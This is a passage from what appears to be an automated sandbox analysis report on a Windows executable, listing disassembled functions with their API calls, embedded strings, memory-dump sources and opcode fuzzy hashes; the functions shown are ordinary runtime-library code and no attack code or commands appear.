API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 61ee48ffe3898966188050a715d980a753a437bbf9c8c92b6696385818cda9fd
Instruction ID: 40ffcb6e7276c6b56e20ef340f0400dac99e19fffa2c2d3576c81a9cdb817faf
Opcode Fuzzy Hash: 61ee48ffe3898966188050a715d980a753a437bbf9c8c92b6696385818cda9fd
Instruction Fuzzy Hash: 5C118F7070924042FA5AAB77A6523E966825F8C7F0F444369BB3957BF6DF7CC4418701

Function 000000014009599C Relevance: 7.6, APIs: 5, Instructions: 50COMMON

Download Yara Rule

APIs

FlsGetValue.KERNEL32 ref: 00000001400959AD
FlsSetValue.KERNEL32 ref: 00000001400959CC
FlsSetValue.KERNEL32 ref: 00000001400959F4
FlsSetValue.KERNEL32 ref: 0000000140095A05
FlsSetValue.KERNEL32 ref: 0000000140095A16

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: a92ec7150889b9413f5f37c662a12140f4258bb4595cbe1378b15905e2fdb6f7
Instruction ID: c9b1f79b9437871e710b23d89dbf29e12363c3e18903ae63e702a788495a69bc
Opcode Fuzzy Hash: a92ec7150889b9413f5f37c662a12140f4258bb4595cbe1378b15905e2fdb6f7
Instruction Fuzzy Hash: 8211297021620142F96BB77B54A63E916824F4D7F1F9817297B365B3F2ED3CD8418312

Function 0000000140088BA0 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 410COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 0000000140088D7B
Concurrency::cancel_current_task.LIBCPMT ref: 0000000140088F84
Concurrency::cancel_current_task.LIBCPMT ref: 0000000140089100

Strings

3G, xrefs: 0000000140088F90

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID: 3G
API String ID: 118556049-4175570335
Opcode ID: af5618f12b61b77667602ac6029bf6fd3c2103abeff60455f9c2b9d0f91cc8e4
Instruction ID: ecd787d7bad4783b418fa305d3fcccd9f8caea627933b618d2d429a6fbf68683
Opcode Fuzzy Hash: af5618f12b61b77667602ac6029bf6fd3c2103abeff60455f9c2b9d0f91cc8e4
Instruction Fuzzy Hash: B8E1AD73311B8485EA66DB66E4447AA73A4F758BE4F144725AFAD07BE5EF38C290C300

Function 00007FF6350EA710 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 250memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(00007FF63536F060,00007FF63536F068,00007FF63536F0B0,?,?,?,?,00000001,00007FF6350D1244), ref: 00007FF6350EA8F3

Strings

Unknown pseudo relocation bit size %d., xrefs: 00007FF6350EAA74
Unknown pseudo relocation protocol version %d., xrefs: 00007FF6350EAA96
%d bit pseudo relocation at %p out of range, targeting %p, yielding the value %p., xrefs: 00007FF6350EAA8A

Memory Dump Source

Source File: 0000000E.00000002.2837030713.00007FF6350D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6350D0000, based on PE: true

Associated: 0000000E.00000002.2836970516.00007FF6350D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837110634.00007FF6351DD000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837110634.00007FF6351DF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837190969.00007FF6351E1000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837339260.00007FF635370000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837399974.00007FF635374000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6350d0000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: ProtectVirtual
String ID: Unknown pseudo relocation bit size %d.$ Unknown pseudo relocation protocol version %d.$%d bit pseudo relocation at %p out of range, targeting %p, yielding the value %p.
API String ID: 544645111-1286557213
Opcode ID: e2176e22cacbc1e56bd42fc89a58474ee1bbcd1f4fcc8751c36bb341390877a3
Instruction ID: afbcaaf3f86232341ba191696b0a9d03dfbe171ebda2bdae4f8d1150b5fa83c2
Opcode Fuzzy Hash: e2176e22cacbc1e56bd42fc89a58474ee1bbcd1f4fcc8751c36bb341390877a3
Instruction Fuzzy Hash: 5491D832F19A1346FA108B10D9482792361BF58F64F259235CD5DA77D8EF3EEC42A200

Function 00000001400BAB50 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 219COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00000001400BAE2F

Part of subcall function 00000001400A73AC: _invalid_parameter_noinfo.LIBCMT ref: 00000001400A73C9

Strings

ccs, xrefs: 00000001400BAD6A
UTF-8, xrefs: 00000001400BADAE
UTF-16LEUNICODE, xrefs: 00000001400BADCD

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: UTF-16LEUNICODE$UTF-8$ccs
API String ID: 3215553584-1196891531
Opcode ID: 851a617801b4cfd31061c4c6c380f6ef5142011fd0a99ac6d62129d95d7a0a73
Instruction ID: c25c3288be8e472c6befd42f9ca98e390cbf50fe56392b6ea39b80f7af3d53ba
Opcode Fuzzy Hash: 851a617801b4cfd31061c4c6c380f6ef5142011fd0a99ac6d62129d95d7a0a73
Instruction Fuzzy Hash: F8819DB2600A4086FB778FABC1507F93BB0A31ABC8F658005FB4667AB5D33DC9429711

Function 00000001400461F0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 171COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0000000140046260
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00000001400462A8
_Getcoll.LIBCPMT ref: 00000001400462DC

Strings

bad locale name, xrefs: 00000001400463E1

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: std::_$GetcollLocinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 1287851536-1405518554
Opcode ID: 773a2e2b10f4efee94c64a44bc50ea4d8da865600e5afec9169c00f6b347f538
Instruction ID: 2dd48ec296852500dd2f0364dd46106788e004d0cc0eadaa75e91df770a0f7fb
Opcode Fuzzy Hash: 773a2e2b10f4efee94c64a44bc50ea4d8da865600e5afec9169c00f6b347f538
Instruction Fuzzy Hash: 5C714B32702B408AFB16DFB6D4903DC3376AB48B98F044125EF592BBAADE348555D389

Function 0000000140059AB0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 140COMMON

Download Yara Rule

APIs

__std_exception_destroy.LIBVCRUNTIME ref: 0000000140059C90
__std_exception_destroy.LIBVCRUNTIME ref: 0000000140059C9D

Strings

at line , xrefs: 0000000140059B3A
, column , xrefs: 0000000140059B68

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: __std_exception_destroy
String ID: at line $, column
API String ID: 2453523683-191570568
Opcode ID: 8246eaa8c20aa2a1f49ec28c31b28cbc29b06410ff58a705accd33e2a4fca0fa
Instruction ID: f5178fb3b268f0b48bb0946d76aaafe813ca48c51b666f22c5d6955aa079505b
Opcode Fuzzy Hash: 8246eaa8c20aa2a1f49ec28c31b28cbc29b06410ff58a705accd33e2a4fca0fa
Instruction Fuzzy Hash: E851A072B04B8081EA11DB1AF58039EB761F799BD4F104212FBA907BAADF79C591C740

Function 000000014002C670 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 126COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 000000014002C6DF
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 000000014002C727
_Getctype.LIBCPMT ref: 000000014002C765

Strings

bad locale name, xrefs: 000000014002C81E

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: std::_$GetctypeLocinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 1612978173-1405518554
Opcode ID: 510a90a68b8347c1588ec6ed22b8b5b9b5393d217443e140ac1d39bb48be28f1
Instruction ID: 974744e1641dd82f39cde997d7380458ab7219ed9018711764406166cb430a43
Opcode Fuzzy Hash: 510a90a68b8347c1588ec6ed22b8b5b9b5393d217443e140ac1d39bb48be28f1
Instruction Fuzzy Hash: A2512A36711B408AEB16DFB2E4907ED33B5FB48788F044429EB4A27AA5DF34C915D384

Function 000000014007EAB0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 101registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32 ref: 000000014007EB3B

Strings

?, xrefs: 000000014007EAF0

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: Open
String ID: ?
API String ID: 71445658-1684325040
Opcode ID: 4c538bf493d1923653052ca49a7a4ab6cce90eb1900b3ac805818dd5bf72d0a5
Instruction ID: de8b63d0aba4a3d42243ea9766a5ca2326035d68d787c69f021cc9a1ee6e9200
Opcode Fuzzy Hash: 4c538bf493d1923653052ca49a7a4ab6cce90eb1900b3ac805818dd5bf72d0a5
Instruction Fuzzy Hash: 43418E72619B8482EA518B26F4803AEB760F79D7D4F105216FB9A43AA9DF3CC094CB40

Function 00007FF6350EAB00 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 75COMMON

Download Yara Rule

Strings

CCG , xrefs: 00007FF6350EAB15

Memory Dump Source

Source File: 0000000E.00000002.2837030713.00007FF6350D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6350D0000, based on PE: true

Associated: 0000000E.00000002.2836970516.00007FF6350D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837110634.00007FF6351DD000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837110634.00007FF6351DF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837190969.00007FF6351E1000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837339260.00007FF635370000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837399974.00007FF635374000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6350d0000_qflwedtkihuzyxlg.jbxd

Similarity

API ID:
String ID: CCG
API String ID: 0-1584390748
Opcode ID: d3dbc5fc667eaa8116ddc9648ae4a223ff8f86823c9b38466b26c19195cb2a75
Instruction ID: c9506bc71eac9c794231cab7b2116930e4ce55b910822b7352c5c580e6f9d159
Opcode Fuzzy Hash: d3dbc5fc667eaa8116ddc9648ae4a223ff8f86823c9b38466b26c19195cb2a75
Instruction Fuzzy Hash: E6217F60E09A0342FE685269415933961C39F8CF50F396935CD1DDB3D6EF1EACD16215

Function 00000001400B6450 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00000001400B6466
GetProcAddress.KERNEL32 ref: 00000001400B6476

Strings

GetTempPath2W, xrefs: 00000001400B646C
kernel32.dll, xrefs: 00000001400B645F

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetTempPath2W$kernel32.dll
API String ID: 1646373207-1846531799
Opcode ID: feccffff2a60b544ffbbbafe503937a9e42bf7f10482beb47b79b4c0f892a682
Instruction ID: b479fef3ac197ef4dce19ec26a24247ec8550dec43ddafd548e24bb2c55acab6
Opcode Fuzzy Hash: feccffff2a60b544ffbbbafe503937a9e42bf7f10482beb47b79b4c0f892a682
Instruction Fuzzy Hash: 9EE01A75704B0582EE469B12F9987AD2361FF8CBC4F589029EB1E07334DE3CD4869B00

Function 00007FF6350EA070 Relevance: 6.3, APIs: 5, Instructions: 96stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00007FF6350EA0F5
memcpy.MSVCRT ref: 00007FF6350EA10E
free.MSVCRT ref: 00007FF6350EA119

Memory Dump Source

Source File: 0000000E.00000002.2837030713.00007FF6350D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6350D0000, based on PE: true

Associated: 0000000E.00000002.2836970516.00007FF6350D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837110634.00007FF6351DD000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837110634.00007FF6351DF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837190969.00007FF6351E1000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837339260.00007FF635370000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837399974.00007FF635374000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6350d0000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: freememcpystrlen
String ID:
API String ID: 2208669145-0
Opcode ID: 616034b4082db6133acc050cdb7f1ef8251caf1ace96c15328d116e499333b8e
Instruction ID: e49682b149144cf2a48d26152fd32bd7ceacf782c3ae91735bbf5f1561c90eea
Opcode Fuzzy Hash: 616034b4082db6133acc050cdb7f1ef8251caf1ace96c15328d116e499333b8e
Instruction Fuzzy Hash: 1531C722E1DF4341F9665A116E0437A92916F88FE0F6DA270DD5DA7BC4DF2EEC41A340

Function 0000000140097F54 Relevance: 6.3, APIs: 4, Instructions: 305fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 0000000140097FDB
WriteFile.KERNEL32 ref: 00000001400982A2
WriteFile.KERNEL32 ref: 00000001400982EB
GetLastError.KERNEL32 ref: 00000001400983AC

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 7f3eb5a86098c1c517e33af41decd246e6b98b795eba64b701eaa93da67d498f
Instruction ID: a6b027b0e07357715d3c80cbbe1cd0166f8b724c902756b6abe27a254a4597ff
Opcode Fuzzy Hash: 7f3eb5a86098c1c517e33af41decd246e6b98b795eba64b701eaa93da67d498f
Instruction Fuzzy Hash: F1D1AB32714A808AEB22CF7AD4403EC37B5F358BD8F548216EF5997BA9DA34C556CB40

Function 00007FF6350DA8F8 Relevance: 6.3, APIs: 1, Strings: 3, Instructions: 269stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00007FF6350DAA84

Strings

ty, xrefs: 00007FF6350DA9EE
y, xrefs: 00007FF6350E482C
t, xrefs: 00007FF6350E480A

Memory Dump Source

Source File: 0000000E.00000002.2837030713.00007FF6350D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6350D0000, based on PE: true

Associated: 0000000E.00000002.2836970516.00007FF6350D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837110634.00007FF6351DD000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837110634.00007FF6351DF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837190969.00007FF6351E1000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837339260.00007FF635370000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837399974.00007FF635374000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6350d0000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: strlen
String ID: t$ty$y
API String ID: 39653677-1920740250
Opcode ID: 87489741a1c735bb47c7c7fa151bb2518af881d747d5548b986082c319ae107a
Instruction ID: b058b9296823c0c3a59f8932d0c7355aea7184584c52d33296c43efdabc6ff24
Opcode Fuzzy Hash: 87489741a1c735bb47c7c7fa151bb2518af881d747d5548b986082c319ae107a
Instruction Fuzzy Hash: B4E1FB725087C2C6E7568F38C4143E93AA1EB29F4CF0C8135CB894B79ADBBE94959361

Function 0000000140098930 Relevance: 6.2, APIs: 4, Instructions: 218COMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleMode.KERNEL32 ref: 0000000140098A53
GetLastError.KERNEL32 ref: 0000000140098ADD

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: 0064717757fb816ba36e302a15913e1cbdafe464b3098268c38cec24d04983ad
Instruction ID: e0bad62a638c68990d328d5793b8bdc1d639ed9625066bc4d5269d2327d8b571
Opcode Fuzzy Hash: 0064717757fb816ba36e302a15913e1cbdafe464b3098268c38cec24d04983ad
Instruction Fuzzy Hash: D991B1B261065089FB62CF6698807ED2BA0F74CBD8F48511AFF4A67BA5DB34C485CB11

Function 00007FF6350DCC9C Relevance: 6.2, APIs: 3, Strings: 1, Instructions: 211stringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 00007FF6350DCD0C
strcmp.MSVCRT ref: 00007FF6350DCD49

Strings

(, xrefs: 00007FF6350E3FB5

Memory Dump Source

Source File: 0000000E.00000002.2837030713.00007FF6350D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6350D0000, based on PE: true

Associated: 0000000E.00000002.2836970516.00007FF6350D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837110634.00007FF6351DD000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837110634.00007FF6351DF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837190969.00007FF6351E1000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837339260.00007FF635370000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837399974.00007FF635374000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6350d0000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: strcmp
String ID: (
API String ID: 1004003707-3887548279
Opcode ID: 44ff3ea0eba828e30fde48cf3e6407d113ef1c86855c37323daa94a633f6d87f
Instruction ID: 73991b70ae60443dd113429f82b8ba5b27eb64b8badc9f2873d95bda223428a2
Opcode Fuzzy Hash: 44ff3ea0eba828e30fde48cf3e6407d113ef1c86855c37323daa94a633f6d87f
Instruction Fuzzy Hash: 18A18D72608B8781EB158F25D4043E92BA1FB55F88F485036CF5E4B786DFBED880A360

Function 00007FF6350DBC30 Relevance: 6.2, APIs: 1, Strings: 3, Instructions: 205stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00007FF6350E0293

Strings

rm, xrefs: 00007FF6350E4EB6
a, xrefs: 00007FF6350E4EA2
a, xrefs: 00007FF6350E4E9D

Memory Dump Source

Source File: 0000000E.00000002.2837030713.00007FF6350D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6350D0000, based on PE: true

Associated: 0000000E.00000002.2836970516.00007FF6350D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837110634.00007FF6351DD000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837110634.00007FF6351DF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837190969.00007FF6351E1000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837339260.00007FF635370000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837399974.00007FF635374000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6350d0000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: strlen
String ID: a$a$rm
API String ID: 39653677-3573517395
Opcode ID: c7bf3fc4039771aa151d5a77072f9711761caae911655a942766ef051505f1bc
Instruction ID: 487ca2f4e7c3031fe4b999dd83727c5a305cf84567749db1ef2e1279e76deae8
Opcode Fuzzy Hash: c7bf3fc4039771aa151d5a77072f9711761caae911655a942766ef051505f1bc
Instruction Fuzzy Hash: B9B11072908BC2C5E7568F28C0183E93A91EB25F4CF1C8135CB894F799DFBE98569361

Function 00007FF6351C5D20 Relevance: 6.2, APIs: 3, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF6351C5DE6
memcpy.MSVCRT ref: 00007FF6351C5E1E
memcpy.MSVCRT ref: 00007FF6351C5E70

Strings

basic_string::_M_create, xrefs: 00007FF6351C5EC7

Memory Dump Source

Source File: 0000000E.00000002.2837030713.00007FF6350D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6350D0000, based on PE: true

Associated: 0000000E.00000002.2836970516.00007FF6350D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837110634.00007FF6351DD000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837110634.00007FF6351DF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837190969.00007FF6351E1000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837339260.00007FF635370000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837399974.00007FF635374000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6350d0000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: memcpy
String ID: basic_string::_M_create
API String ID: 3510742995-3122258987
Opcode ID: 72179817af7f84d4777a76ac889e536a436144b296a5be41eac1759ee4653c10
Instruction ID: d22ac977e4b0184d49061ea6b49f1e5196b50dcb1bbba13930a4a014a9378736
Opcode Fuzzy Hash: 72179817af7f84d4777a76ac889e536a436144b296a5be41eac1759ee4653c10
Instruction Fuzzy Hash: AC61A162E19A9790EA258B25C4042B963A1EF41FD4F858631DA1D977DCEF3EE982D300

Function 00000001400BBDF8 Relevance: 6.2, APIs: 4, Instructions: 159COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00000001400BBE39
_invalid_parameter_noinfo.LIBCMT ref: 00000001400BBEB9
_invalid_parameter_noinfo.LIBCMT ref: 00000001400BBF0D
_get_daylight.LIBCMT ref: 00000001400BBF65

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: _invalid_parameter_noinfo$_get_daylight
String ID:
API String ID: 72036449-0
Opcode ID: cbe6a422300ce47d191bfdaffd942f57c8d825da7a2edd8825320d75a71d5f2d
Instruction ID: 4cef64af6a6c9a86ce83d0a7878914f71726a3e20492fbdc572d3d8bd7fdd1ae
Opcode Fuzzy Hash: cbe6a422300ce47d191bfdaffd942f57c8d825da7a2edd8825320d75a71d5f2d
Instruction Fuzzy Hash: D7510332604E0287F76B5EABD9013FD66A0E3487E4F198035BB16472F6D7B9CA40CB42

Function 00007FF6350EFE10 Relevance: 6.1, APIs: 4, Instructions: 128COMMON

Download Yara Rule

APIs

localeconv.MSVCRT ref: 00007FF6350EFF44

Part of subcall function 00007FF6350F6D60: ___lc_codepage_func.MSVCRT ref: 00007FF6350F6D7F

fputc.MSVCRT ref: 00007FF6350EFEB8

Memory Dump Source

Source File: 0000000E.00000002.2837030713.00007FF6350D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6350D0000, based on PE: true

Associated: 0000000E.00000002.2836970516.00007FF6350D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837110634.00007FF6351DD000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837110634.00007FF6351DF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837190969.00007FF6351E1000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837339260.00007FF635370000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837399974.00007FF635374000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6350d0000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: ___lc_codepage_funcfputclocaleconv
String ID:
API String ID: 1339002523-0
Opcode ID: ce1dac330c6f27128e61fe827faa414519fca3154a38c89fa2bd38bea5801416
Instruction ID: 37e9e4e3ed6c321080506328f7919565c0fd7df523b78eff7d48a07bfc9a50c6
Opcode Fuzzy Hash: ce1dac330c6f27128e61fe827faa414519fca3154a38c89fa2bd38bea5801416
Instruction Fuzzy Hash: C2515C73A1594389E7208F28C14136937E1EB45F98F256235EB0C87389DF2AED41E740

Function 0000000140081E60 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 0000000140081E80
FreeEnvironmentStringsW.KERNEL32 ref: 0000000140081F7B
RtlInitUnicodeString.NTDLL ref: 0000000140081FEE
RtlInitUnicodeString.NTDLL ref: 0000000140081FFB

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: EnvironmentInitStringStringsUnicode$Free
String ID:
API String ID: 2488768755-0
Opcode ID: b897828977742e1079cbac0095341b48bba7947ad420912c1ac24fbaed09aa8b
Instruction ID: 9735953dc97c4c7278c1d0ea2bf846f00a1df3506a1c5c193014c8045fd42382
Opcode Fuzzy Hash: b897828977742e1079cbac0095341b48bba7947ad420912c1ac24fbaed09aa8b
Instruction Fuzzy Hash: C3518932A18B80C2EB129F16E44039D7761FB98BD4F549215EB9D03BA6DF78D2E1C700

Function 000000014003FFA0 Relevance: 6.1, APIs: 4, Instructions: 115COMMON

Download Yara Rule

APIs

Part of subcall function 00000001400B782C: std::_Lockit::_Lockit.LIBCPMT ref: 00000001400B7849
Part of subcall function 00000001400B782C: std::locale::_Setgloballocale.LIBCPMT ref: 00000001400B786C

std::_Lockit::_Lockit.LIBCPMT ref: 000000014003FFE1
std::_Lockit::_Lockit.LIBCPMT ref: 0000000140040006
std::_Facet_Register.LIBCPMT ref: 00000001400400B2
Concurrency::cancel_current_task.LIBCPMT ref: 0000000140040114

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: std::_$LockitLockit::_$Concurrency::cancel_current_taskFacet_RegisterSetgloballocalestd::locale::_
String ID:
API String ID: 3698853521-0
Opcode ID: 5df3add741de15268a4c1c893243a82b2349d0c978b64c86d7b80c97edf7e36a
Instruction ID: bc1c7009bf646980d28510eba16aabbeef68747b7b6e5d2c383e6a03373d8cef
Opcode Fuzzy Hash: 5df3add741de15268a4c1c893243a82b2349d0c978b64c86d7b80c97edf7e36a
Instruction Fuzzy Hash: 12414232210B4082EA16DF62E84479A73A4F78CBD0F591622FB9D077B6DF38C852C704

Function 00007FF6351B9BF0 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 104COMMON

Download Yara Rule

APIs

